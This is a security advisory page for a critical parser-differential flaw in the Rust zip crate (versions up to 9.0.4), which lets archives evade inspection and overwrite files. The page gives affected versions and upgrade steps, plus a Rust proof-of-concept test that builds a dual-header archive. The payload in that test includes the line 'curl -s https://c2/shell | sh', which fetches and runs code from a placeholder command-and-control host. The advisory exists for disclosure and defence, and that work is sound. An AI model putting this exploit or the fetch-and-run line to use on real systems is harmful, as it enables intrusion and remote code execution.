critical · 10 Patched

zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE

CVE-2026-115905 · GHSA-m665-v7pm-7grj · published 28 Oct 2026

How serious is it

  • Severity: critical, CVSS score 10 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-115905?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • zip (crates.io) <= 9.0.4

How to check

  1. Run cargo tree -i zip in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade zip to 9.0.5 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary A critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem. This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them. --- ## Details ### Architectural Root Cause In the PKWARE ZIP archive format, every file entry is defined in two distinct locations: 1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive. 2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive. In `zip2`: - `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH. - `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH: ```rust // src/read/stream.rs fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> { file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?; let mut outfile = fs::File::create(&outpath)?; io::copy(file, &mut outfile)?; Ok(()) } ``` - `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH. ### Threat Scenario & Severity Justification (10.0 / 9.9 Critical) 1. **Security Control Evasion:** An adversary crafts a ZIP archive where: - Central Directory Header declares: `doc_report.pdf` (Clean document) - Local File Header declares: `cron_worker.sh` (Malicious root backdoor) 2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file. 3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`. 4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**). --- ## Proof of Concept The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`: ```rust use std::fs; use std::io::{Cursor, Write}; use tempfile::tempdir; use zip::unstable::stream::ZipStreamReader; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; // Simulated Security Gateway (inspects CDFH via ZipArchive) fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> { let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap(); for i in 0..archive.len() { let name = archive.by_index(i).unwrap().name().unwrap().to_string(); if name.ends_with(".sh") || name.ends_with(".exe") { return Err(format!("MALWARE DETECTED: '{}' blocked!", name)); } if !name.ends_with(".pdf") { return Err("Policy violation: only PDFs allowed!".into()); } } Ok(()) } #[test] fn test_cvss_9_9_dual_header_exploit_chain() { // 1. Victim server setup: existing critical script let victim_env = tempdir().unwrap(); let victim_dir = victim_env.path(); let target_script = victim_dir.join("cron_worker.sh"); fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap(); // 2. Attacker crafts Single-Entry Dual-Header Archive // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf" let mut payload = Cursor::new(Vec::new()); let mut writer = ZipWriter::new(&mut payload); writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap(); writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap(); writer.finish().unwrap(); let mut malicious_zip = payload.into_inner(); let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap(); malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf"); // 3. Gateway Inspection (Bypassed!) assert!(security_gateway_inspection(&malicious_zip).is_ok()); // 4. Backend Extraction (ZipStreamReader) ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap(); // 5. Impact Verification let compromised = fs::read_to_string(&target_script).unwrap(); assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed } ``` ### Verified Test Execution Output ```text running 1 test ================================================================== Dual-Header Security Gateway Evasion Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS ================================================================== [VICTIM SERVER STATE - BEFORE ATTACK] Existing Content: SERVICE IS RUNNING NORMALLY --- [STEP 1: SECURITY GATEWAY INSPECTION] --- [SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf' [GATEWAY VERDICT…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 29 Oct 2026. All vulnerabilities · RSS · JSON